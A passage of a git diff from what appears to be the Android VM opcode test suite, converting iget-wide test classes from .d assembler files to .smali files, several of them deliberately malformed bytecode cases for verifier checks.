+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.d
deleted file mode 100644
index 1181a48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_17.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali
new file mode 100644
index 0000000..f4a381c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_17.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.d
deleted file mode 100644
index 03c2a0c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_18.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_18
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali
new file mode 100644
index 0000000..00c0bd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_18.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.d
deleted file mode 100644
index 1978e12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_19.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_19
-.super java/lang/Object
-
-.field public  i1 F
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_19.i1 F
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali
new file mode 100644
index 0000000..f82eb67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_19.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:F
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_19;->i1:F
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.d
deleted file mode 100644
index 16f9f5a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_2.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_2
-.super java/lang/Object
-
-.field public  val D
-
-.method public <init>()V
-.limit regs 3
-
-       invoke-direct {v2}, java/lang/Object/<init>()V
-       
-       const-wide v0, 123.0
-       iput-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_2.val D
-       
-       return-void
-.end method
-
-.method public run()D
-.limit regs 4
-
-       iget-wide v1, v3, dot.junit.opcodes.iget_wide.d.T_iget_wide_2.val D
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali
new file mode 100644
index 0000000..fc1c46e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_2.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;
+.super  Ljava/lang/Object;
+
+.field public  val:D
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+       
+       const-wide v0, 123.0
+       iput-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;->val:D
+       
+       return-void
+.end method
+
+.method public run()D
+.registers 4
+
+       iget-wide v1, v3, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;->val:D
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.d
deleted file mode 100644
index 1f3e225..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_20.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_20
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_20.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali
new file mode 100644
index 0000000..5712f52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_20.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_20;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.d
deleted file mode 100644
index fea700d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_21.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       
-       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/TestStubs/<init>()V
-       
-       iget-wide v1, v0, dot.junit.opcodes.iget_wide.TestStubs.TestStubProtectedField J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali
new file mode 100644
index 0000000..6c8708f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_21.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       
+       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/TestStubs;-><init>()V
+       
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubProtectedField:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.d
deleted file mode 100644
index bb7026e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_3.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_3
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v3, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_3.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali
new file mode 100644
index 0000000..95aae39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_3.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v3, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_3;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.d
deleted file mode 100644
index 432f376..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_30.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_30
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_wide/d/T_iget_wide_30
-    iget-wide v1, v0, dot.junit.opcodes.iget_wide.d.T_iget_wide_30.st_i1 J
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali
new file mode 100644
index 0000000..a9b5fb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_30.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;
+    iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;->st_i1:J
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.d
deleted file mode 100644
index 7f97a07..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_31.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_31
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_wide.d.T_iget_wide_31.st_i1 J
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali
new file mode 100644
index 0000000..4fa811d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_31.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_31;->st_i1:J
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d
deleted file mode 100644
index 505b06e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_35.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 2
-       iget-wide v0, v1, dot.junit.opcodes.iget_wide.TestStubs.TestStubProtectedField J
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali
new file mode 100644
index 0000000..18b4ba8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_35.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 2
+       iget-wide v0, v1, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubProtectedField:J
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.d
deleted file mode 100644
index 8dd2d4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_4.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_4
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_4.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali
new file mode 100644
index 0000000..1fbf289
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_4.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_4;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.d
deleted file mode 100644
index cab5c10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
